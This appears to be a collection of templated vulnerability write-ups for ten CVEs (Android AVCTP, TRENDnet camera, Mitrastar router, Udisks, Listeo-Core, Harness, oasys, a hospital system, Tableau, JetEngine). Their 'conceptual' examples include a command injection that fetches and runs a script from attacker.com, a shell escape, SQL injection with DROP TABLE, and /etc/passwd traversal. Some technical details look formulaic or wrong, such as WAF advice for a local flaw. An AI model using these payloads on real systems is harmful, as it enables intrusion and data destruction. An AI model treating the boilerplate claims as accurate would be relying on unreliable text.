Author: Ameeba

Overview

The CVE-2025-22404 is a severe vulnerability identified in the avct_lcb_msg_ind of avct_lcb_act.cc. This specific vulnerability allows the potential execution of arbitrary code due to use after free, which could lead to a local escalation of privilege without any additional execution privileges needed. This vulnerability’s impact is significant, as it could potentially result in a system compromise or data leakage. It is crucial to address this vulnerability promptly, since user interaction is not required for its exploitation.

Vulnerability Summary

CVE ID: CVE-2025-22404
Severity: High (8.4 CVSS Score)
Attack Vector: Local
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

avct_lcb_act.cc | All versions before the patch

How the Exploit Works

The vulnerability stems from the misuse of the avct_lcb_msg_ind process in avct_lcb_act.cc. Specifically, after an object is freed, the process continues to use it, which leads to a use after free condition. This condition can potentially allow an attacker to execute arbitrary code or escalate their privileges locally. Since there is no requirement for additional execution privileges or user interaction, this vulnerability can be exploited silently and unnoticed.

Conceptual Example Code

Here’s an example of how the vulnerability might be exploited:

// allocate memory for object
object_t *obj = malloc(sizeof(object_t));
// use the object
use(obj);
// free the object
free(obj);
// continue to use the object (use after free)
use(obj); // this is where the vulnerability occurs

In the above example, the object is used after it has been freed, which leads to undefined behavior and potential security risks. The exact exploitation method will depend on the specific use of the freed object and the control an attacker has over the input that is used.

Mitigation Guidance

To mitigate this vulnerability, users are recommended to apply the vendor patch as soon as it becomes available. If this is not possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation strategy. These tools can help identify and block attempts to exploit this vulnerability, reducing the risk of system compromise or data leakage.

Overview

In the world of cybersecurity, the identification and mitigation of vulnerabilities are of utmost importance. One such vulnerability, recently discovered, is the CVE-2024-46484, which affects the TRENDnet TV-IP410 vA1.0R. This vulnerability is a critical issue as it allows an attacker to inject operating system commands within the /server/cgi-bin/testserv.cgi component, potentially leading to system compromise or data leakage.
The severity of the vulnerability, coupled with its widespread impact, underlines the urgent need for immediate mitigation. The vulnerability poses a significant threat to users and organizations making use of the impacted device, and its exploitation could have severe consequences, including unauthorized access, data theft, and potential system compromise.

Vulnerability Summary

CVE ID: CVE-2024-46484
Severity: Critical (CVSS Score 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

TRENDnet TV-IP410 | vA1.0R

How the Exploit Works

The vulnerability resides in the /server/cgi-bin/testserv.cgi component of the TRENDnet TV-IP410 vA1.0R. The flaw allows an attacker to inject malicious operating system commands directly into the said component. This is possible due to insufficient input validation and the use of unsafe system calls. Once the malicious commands are executed, the attacker could potentially gain unauthorized access, compromise the system, or leak sensitive data.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited with an HTTP request:

POST /server/cgi-bin/testserv.cgi HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
cmd=; wget http://attacker.com/malicious_script.sh; chmod +x malicious_script.sh; ./malicious_script.sh;

In this example, the attacker uses the ‘cmd’ parameter to run a series of commands. These commands download a malicious script from the attacker’s server, make the script executable, and then run the script-potentially leading to a full system compromise.

Mitigation Guidance

Users of the affected TRENDnet TV-IP410 vA1.0R are advised to apply the vendor patch immediately to mitigate the vulnerability. As an interim measure, users could utilize Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) to detect and potentially block exploitation attempts. However, these are temporary measures and do not provide a complete solution to the vulnerability. As a best practice, always ensure that your systems are updated with the latest patches and updates from vendors.

Overview

The recently discovered CVE-2025-50753 vulnerability presents a significant security risk to all users of Mitrastar GPT-2741GNAC-N2 devices. These devices are equipped with a restricted shell access through ssh that is unfortunately not as restricted as it should be. This vulnerability is particularly dangerous because it allows unauthorized users to gain root shell access, potentially leading to system compromise or data leakage. It’s critical to understand this vulnerability, its potential impacts, and the necessary steps to mitigate it.

Vulnerability Summary

CVE ID: CVE-2025-50753
Severity: High (8.4)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

Mitrastar GPT-2741GNAC-N2 | All versions

How the Exploit Works

The CVE-2025-50753 exploit involves the misuse of the “deviceinfo show file” command in the restricted shell provided through ssh on Mitrastar GPT-2741GNAC-N2 devices. Normally, this command is used to display files and directories. However, by providing ” /bin/sh” (including the quotes) as the argument to this command, an attacker can escape the restricted shell and gain access to a root shell.

Conceptual Example Code

In a typical ssh session, the exploit would look something like this:

ssh user@target
password: 
<strong></strong>

$ deviceinfo show file " /bin/sh"
# root shell access granted

In this example, `user@target` is the ssh login, and `

` represents the user password. The exploit itself is executed with the `deviceinfo show file ” /bin/sh”` line.
With this level of access, an attacker could perform a variety of malicious actions, including but not limited to, altering system files, installing malicious software, or stealing sensitive data. This makes the CVE-2025-50753 vulnerability a high-risk issue that must be addressed promptly.

Mitigation

To protect your systems from this vulnerability, apply the vendor patch as soon as it becomes available. In the meantime, you may use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. Regularly monitor your systems for any unusual activity to detect potential exploits at the earliest.

Overview

The cybersecurity landscape is constantly evolving, with new vulnerabilities being discovered regularly. One such vulnerability, identified as CVE-2025-8067, poses a significant risk to systems using the Udisks daemon. This flaw enables unprivileged users to create loop devices via the D-BUS system, potentially leading to system compromise or data leakage. Given the ubiquity of the D-BUS system in Unix-like operating systems, this vulnerability has far-reaching implications and requires immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-8067
Severity: High (CVSS:8.5)
Attack Vector: Local
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Udisks 2 | Versions prior to 2.9.0

How the Exploit Works

The CVE-2025-8067 vulnerability is rooted in the Udisks daemon’s flawed handling of requests sent through the D-BUS interface. Specifically, the daemon fails to validate the lower bound of a file descriptor index, which it receives as part of a request to create a loop device. This negligence allows an attacker to input a negative index value, which can cause the daemon to crash. More critically, the flaw can be exploited to perform a local privilege escalation, thereby providing the attacker unauthorized access to files owned by privileged users.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit this flaw using a shell command:

#!/bin/bash
dbus-send --system --print-reply --dest=org.freedesktop.UDisks2 /org/freedesktop/UDisks2/Manager \
org.freedesktop.UDisks2.Manager.LoopSetup \
array:byte:[negative index value] \
dict:string:string:{"read-only","false"}

This script sends a D-BUS message to the UDisks daemon, requesting the creation of a new loop device with a negative index value. If the daemon processes this request, it will either crash or escalate the privileges of the user who sent the request.

Overview

The Common Vulnerabilities and Exposures system has recently identified a significant security vulnerability, designated as CVE-2025-49404. This vulnerability pertains to the Listeo-Core product, developed by purethemes. The affected versions extend through to 1.9.32. This vulnerability is a classic example of an SQL Injection issue, one of the most dangerous and common web application vulnerabilities. It exposes the affected systems to potential compromise and can potentially lead to data leakage, impacting the confidentiality, integrity, and availability of the system.

Vulnerability Summary

CVE ID: CVE-2025-49404
Severity: Critical (8.5 CVSS score)
Attack Vector: Network-based
Privileges Required: None
User Interaction: None
Impact: System compromise and data leakage

Affected Products

Product | Affected Versions

purethemes Listeo-Core | Through 1.9.32

How the Exploit Works

SQL Injection vulnerabilities, such as CVE-2025-49404, occur when an application does not properly neutralize special elements used in an SQL command. An attacker can inject malicious SQL commands into user-input data. As the application processes this input, it inadvertently runs the harmful SQL commands. In the case of this particular vulnerability, an attacker could potentially gain unauthorized access to system data, modify or delete data, or even execute administrative operations on the database.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited:

POST /listeo-core/vulnerable-endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
username=admin&password=' OR '1'='1

In this example, the attacker is attempting to log in using the username ‘admin’ and injecting a malicious payload into the password field. The payload `’ OR ‘1’=’1` manipulates the SQL logic so that the statement will always be true, potentially allowing an unauthorized user access to the system.

Mitigation

The best way to mitigate this vulnerability is to apply the vendor-supplied patch. If this is not immediately possible, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could offer temporary relief from potential attacks. However, these methods should not replace the permanent fix of applying the patch. Additional best practices include avoiding the use of dynamic SQL, using parameterized queries or stored procedures, and regularly updating and patching systems.

Overview

The cybersecurity community has recently discovered a significant vulnerability in the Harness Open Source end-to-end developer platform. Identified as CVE-2025-58158, this flaw affects the git LFS server (Gitness) component of the platform. Given the widespread use of this software by developers around the world, the vulnerability has serious implications for numerous systems and applications.
The importance of this vulnerability lies in its potential for exploitation. A malicious, authenticated user with access to the Harness Gitness server API can craft an upload request, allowing them to write an arbitrary file to any location on the file system. This could potentially compromise the server, leading to data leakage or even a full system takeover.

Vulnerability Summary

CVE ID: CVE-2025-58158
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Harness Open Source | Versions prior to 3.3.0

How the Exploit Works

The exploit takes advantage of a flaw in the implementation of the upload git LFS file API. The vulnerability arises from improper sanitization of the upload path, which means an attacker can manipulate the path to write files to any location on the file system. A successful exploit could lead to unauthorized access and control of the server, paving the way for data theft or further system compromise.

Conceptual Example Code

A malicious user might exploit this vulnerability by sending a crafted HTTP request as follows:

POST /api/git-lfs/upload HTTP/1.1
Host: harness.example.com
Content-Type: application/json
Authorization: Bearer [auth_token]
{
"filename": "../../../../../../../etc/passwd",
"content": "malicious_content"
}

In this hypothetical example, the attacker is attempting to overwrite the ‘/etc/passwd’ file, which is a crucial system file on Unix-based systems, with malicious content. If successful, this could give the attacker elevated privileges on the system.

Fix and Mitigation

Harness has released a patch for this vulnerability in version 3.3.0 of their Open Source platform. All users are strongly encouraged to update to this version or later to mitigate this vulnerability. If immediate patching is not possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation.

Overview

The CVE-2025-44033 is a severe SQL injection vulnerability that affects the oa_system oasys v1.1. This vulnerability allows a remote attacker to execute arbitrary code, potentially compromising the system and leading to data leakage. SQL injection attacks are a common cybersecurity threat that pose a significant risk to any system interacting with databases. This vulnerability, in particular, is critical due to its high severity score and the potential damage it could cause to an affected system.

Vulnerability Summary

CVE ID: CVE-2025-44033
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

oa_system oasys | v1.1

How the Exploit Works

The SQL injection vulnerability exists in the allDirector() method declaration in the AddressMapper.java file of the oa_system oasys v1.1. A remote attacker can exploit this vulnerability by sending specially crafted data inputs to this method. The application does not properly sanitize these inputs, leading to the execution of arbitrary SQL commands. This can result in unauthorised access, data manipulation or data leakage, and in worst-case scenarios, a complete system compromise.

Conceptual Example Code

An attacker might exploit the vulnerability by sending a malicious SQL statement in the request. Here’s a conceptual example of how this might look:

POST /oasys/allDirector HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "director_id": "1; DROP TABLE users;" }

In this example, the “director_id” parameter is injected with a malicious SQL command (“1; DROP TABLE users;”) which can lead to a destructive operation – dropping “users” table from the database.

Mitigation Measures

Vendors are usually quick to release patches once a vulnerability is discovered. In this case, users are strongly recommended to apply the vendor patch as soon as it becomes available. Until then, they can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation measure. These tools can help filter out malicious data and detect any suspicious activity, respectively. They may not be a perfect solution, but they can significantly decrease the risk of an exploit until the official patch is applied.

Overview

The vulnerability we are going to discuss, identified by the Common Vulnerabilities and Exposures (CVE) ID CVE-2025-56216, is a significant security loophole in the phpgurukul Hospital Management System 4.0. This vulnerability can expose the system to a potential SQL Injection attack, which might lead to system compromise or data leakage. It primarily affects healthcare providers using the said version of the phpgurukul Hospital Management System, and it matters because it poses a risk to the confidentiality and integrity of sensitive patient data stored in the system.

Vulnerability Summary

CVE ID: CVE-2025-56216
Severity: High (8.5 CVSS score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

phpgurukul Hospital Management System | 4.0

How the Exploit Works

The exploit takes advantage of insufficient input validation in the ‘about-us.php’ file of the phpgurukul Hospital Management System 4.0. The ‘pagetitle’ parameter in the file is susceptible to SQL Injection attacks. An attacker can craft malicious SQL commands and include them in the ‘pagetitle’ parameter. When this parameter is processed by the backend server, the malicious SQL commands get executed, potentially leading to unauthorized access, data manipulation, or data leakage.

Conceptual Example Code

Below is a conceptual example of how an attacker might exploit this vulnerability using an HTTP POST request:

POST /about-us.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
pagetitle='; DROP TABLE Patients; --

In the above code, the value of the ‘pagetitle’ parameter is a malicious SQL command (‘; DROP TABLE Patients; –‘) aiming to delete the Patients table from the database.

Mitigation and Prevention

There are two recommended courses of action to mitigate this vulnerability. The first and most effective solution is to apply a vendor-supplied patch. If such a patch is not immediately available, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. Additionally, to prevent such vulnerabilities, it’s advisable to follow secure coding practices, such as proper input validation and parameterized queries.

Overview

The vulnerability, identified as CVE-2025-52451, is a serious security lapse found in Salesforce’s widely used Tableau Server software. This vulnerability, categorized as an Improper Input Validation issue, allows cyber attackers to exploit Absolute Path Traversal in the tabdoc API’s create-data-source-from-file-upload modules. This vulnerability affects a broad range of organizations and industries that depend on Tableau Server for data visualization and business intelligence. If successfully exploited, this vulnerability could lead to system compromise or data leakage, making it a grave threat to data integrity and security.

Vulnerability Summary

CVE ID: CVE-2025-52451
Severity: High (CVSS Score: 8.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Tableau Server on Windows | Versions before 2025.1.3
Tableau Server on Linux | Versions before 2024.2.12, before 2023.3.19

How the Exploit Works

The exploit takes advantage of an Improper Input Validation vulnerability in the create-data-source-from-file-upload module of the tabdoc API, present in Salesforce’s Tableau Server software. By sending maliciously crafted data to the module, an attacker can manipulate the data validation process and trigger an Absolute Path Traversal vulnerability. This allows the attacker to access, modify, or delete sensitive data outside of the designated boundaries, potentially leading to system compromise or data leakage.

Conceptual Example Code

In a hypothetical scenario, the exploit might be used as follows:

POST /tabdocapi/create-data-source-from-file-upload HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "file_path": "/../../../../etc/passwd" }

In this conceptual example, the attacker sends a POST request to the vulnerable endpoint with a malicious `file_path`. The path includes directory traversal characters (`..`), manipulating the software into accessing files outside of the intended directory. In this case, the attacker attempts to access the `/etc/passwd` file, which stores user account information in Unix-based systems, potentially leading to unauthorized access and data leakage.

Overview

In the cybersecurity landscape, new vulnerabilities emerge regularly, posing significant threats to software systems worldwide. One such vulnerability, identified as CVE-2025-53194, affects the Crocoblock JetEngine. Considering the widespread usage of this technology, the risk associated with this vulnerability is substantial and requires immediate attention. This issue exposes systems to potential compromise and data leakage, underscoring the need for users to understand the vulnerability and take immediate steps to mitigate its impact.

Vulnerability Summary

CVE ID: CVE-2025-53194
Severity: High (8.5 CVSS Score)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Crocoblock JetEngine | n/a – 3.7.0

How the Exploit Works

The vulnerability resides in the improper neutralization of special elements used in a template engine by the Crocoblock JetEngine. This allows attackers to insert malicious code into the application, leading to code injection. In a successful exploit, the attacker could remotely execute the injected code, leading to system compromise or potential data leakage, depending on the targeted system’s environment and configuration.

Conceptual Example Code

This is a conceptual example of how a malicious entity might exploit this vulnerability. The attacker sends a HTTP request with the malicious payload to the vulnerable endpoint:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "<script>malicious_code_here;</script>" }

Mitigation Guidance

To mitigate this vulnerability, it is highly recommended to apply the vendor-provided patch immediately. In the case where immediate patching is not feasible, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigating measure. However, these should not be seen as long-term solutions, but rather as a stopgap until the patch can be applied.
In addition to these measures, regular vulnerability assessments and penetration tests should be performed to identify any potential security risks. This will ensure the system’s resilience against the ever-evolving threats in the cybersecurity landscape.